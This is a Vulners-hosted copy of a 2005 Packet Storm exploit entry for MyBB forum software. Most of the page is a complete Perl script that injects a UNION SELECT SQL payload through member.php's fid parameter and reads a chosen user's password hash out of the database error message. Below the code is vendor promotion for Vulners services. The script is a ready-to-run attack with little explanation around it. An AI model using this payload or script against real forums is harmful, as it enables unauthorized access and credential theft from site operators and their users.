Lucene search
K

mybbSQL.pl.txt

🗓️ 31 Aug 2005 00:00:00Reported by W7EDType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

MyBB Member.php SQL injection script to retrieve user passwords via exploit URL parameters.

Code
`#!/usr/bin/perl -w  
use LWP::Simple;  
## Vitem ##  
if(!$ARGV[0]){  
print "############# MyBB Member.php SQL Injection ##############\n";  
print "## Coded By #\n";  
print "################################################## ########\n";  
print "## [+] Bug By W7ED - W7ED[at]hotmail.com #\n";  
print "################################################## ########\n";  
print "# Exmp:- perl file.pl mybb.net /mybb userid #\n";  
print "################################################## ########\n";  
exit;  
}  
###########  
  
my $host = 'http://'.$ARGV[0];  
  
## User ID ##  
if(!$ARGV[1]){  
$ARGV[1] = 1;  
}  
#############  
  
my $userid = $ARGV[1];  
  
print "[*] Trying $host\n";  
  
## Forum Path ##  
if(!$ARGV[2]){  
$ARGV[2] = '/';  
}  
################  
  
$url = "$ARGV[2]/member.php?action=profile&uid=lastposter&fid=-1,') UNION SELECT password,password,password,password,password,passw ord,password,password,password,password,password,p assword,password,password,password,password,passwo rd,password,password,password,password,password,pa ssword,password,password,password,password,passwor d,password,password,password,password,password,pas sword FROM users WHERE uid=$userid/*";   
$page = get($host.$url) || die "[-] Unable to retrieve: $!";  
print "[+] Connected to: $host\n";  
$page =~ m/mySQL error: 1054<br>Unknown column '(.*?)'/ && print "[+] User ID Is $userid And Hash Is : $1\n";  
print "[-] Unable to retrieve Hash\n" if(!$1);  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2005 00:00Current
7.4High risk
Vulners AI Score7.4
23